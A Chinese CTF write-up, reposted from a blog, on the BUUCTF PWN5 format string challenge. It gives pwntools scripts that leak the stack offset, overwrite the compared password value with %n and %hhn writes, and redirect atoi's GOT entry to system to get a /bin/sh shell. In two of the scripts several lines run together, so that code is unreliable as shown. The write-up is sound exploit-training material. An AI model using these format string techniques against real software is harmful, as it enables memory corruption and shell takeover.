欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 财经 > 金融 > 字符串格式漏洞-[第五空间2019 决赛]PWN5

字符串格式漏洞-[第五空间2019 决赛]PWN5

2025/5/2 8:06:16 来源:https://blog.csdn.net/wcj126/article/details/147656630  浏览:    关键词:字符串格式漏洞-[第五空间2019 决赛]PWN5

之前其实也写了一篇,现在再来看。又有新的收获了,于是记录一下

前置知识

格式化字符串漏洞详解-CSDN博客

讲得很清楚,我就不照猫画虎了

实践

main函数

首先先办法泄露我们输入的地址

from pwn import *
elfpath='level0'
# io=process(elfpath)
io=remote("node5.buuoj.cn",29917)
elf=ELF(elfpath)
context(arch=elf.arch,os=elf.os,log_level = "debug")
# shell_addr=0x400596
payload1=b'a'*(0x20+8)+b'\n %x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x'
payload=payload1
io.sendline(payload)
io.interactive()

偏移量10

后面就是exp的编写,难点是去理解exp

exp1:

from pwn import *
sh=remote('node5.buuoj.cn',29917)
payload = p32(0x804c044)+b'%10$n'
sh.sendline(payload)
sh.recv()
sh.sendline(b'4')
sh.interactive()

我们首先把偏移10,改为

我们需要比较的地址

p32(0x804c044)传入地址

+b'%10$n',10$选取偏移第十的地址,传入我们已经传入的字节数(4)

那么现在比对的就是4

我们传入4就可以成功比对成功

exp2

[第五空间2019 决赛]PWN5-CSDN博客

看我之前博客的,看来当时也没怎么学懂,哈哈

from pwn import *
sh=remote('node5.buuoj.cn',27574)
payload = p32(0x804c047)+p32(0x804c046)+p32(0x804c045)+p32(0x804c044)+b'%11$hhn%10$hhn%13$hhn%12$hhn'
sh.sendline(payload)
sh.sendline(str(0x10101010))
sh.interactive()

首先,我们把10-14个,放好地址。因为我们刚刚IDA可以看见,比对是个dword

然后我们直接挨着地址,用hhn,指定传入一个字节,

那么内存中就是我们之前16 16 16 16 也就是0x10101010

exp3

BUUCTF - [第五空间2019 决赛]PWN5 - 简书

借鉴博客如上

from pwn import *p = process('./pwn5')
elf = ELF('./pwn5')atoi_got = elf.got['atoi']
system_plt = elf.plt['system']payload=fmtstr_payload(10,{atoi_got:system_plt})p.sendline(payload)
p.sendline('/bin/sh\x00')p.interactive()

很清楚的,去拿库函数的got和plt(不懂可以粗俗理解为函数地址,后面再学)

exp4

from pwn import *
#context.log_level = "debug"
p = remote("node3.buuoj.cn",26486)unk_804C044 = 0x0804C044
payload=fmtstr_payload(10,{unk_804C044:0x1111})
p.sendlineafter("your name:",payload)
p.sendlineafter("your passwd",str(0x1111))
p.interactive()

这个更简单明了~

下班

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

热搜词